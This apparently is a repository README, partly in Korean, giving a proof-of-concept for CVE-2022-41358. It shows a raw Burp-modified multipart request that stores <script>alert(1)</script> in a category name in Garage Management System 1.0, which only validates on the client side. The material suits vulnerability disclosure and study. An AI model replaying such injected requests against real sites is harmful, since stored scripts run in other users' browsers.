thecasual/cve-2022-41358CVE-2022-41358에 대한 개념 증명 익스플로잇: Burp Suite 요청 변조를 통해 클라이언트 측 검증을 우회하여 Garage Management System 1.0에서 저장형 XSS를 시연합니다.
Garage Management System은 XSS를 방지하기 위해 클라이언트 측 유효성 검사를 사용합니다. Burp를 사용하여 요청을 수정하고 서버에 재전송하면 이 유효성 검사를 우회하여 XSS 가능성이 생깁니다.
Parameter: categoriesName
URI: /garage/php_action/createCategories.php
Host: 10.24.0.69
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.24.0.69
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.24.0.69/garage/add-category.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u
Connection: close
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesName"
<script>alert(1)</script>
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesStatus"
1
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="create"
------WebKitFormBoundaryqKDsN4gmatTEEkhS--
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41358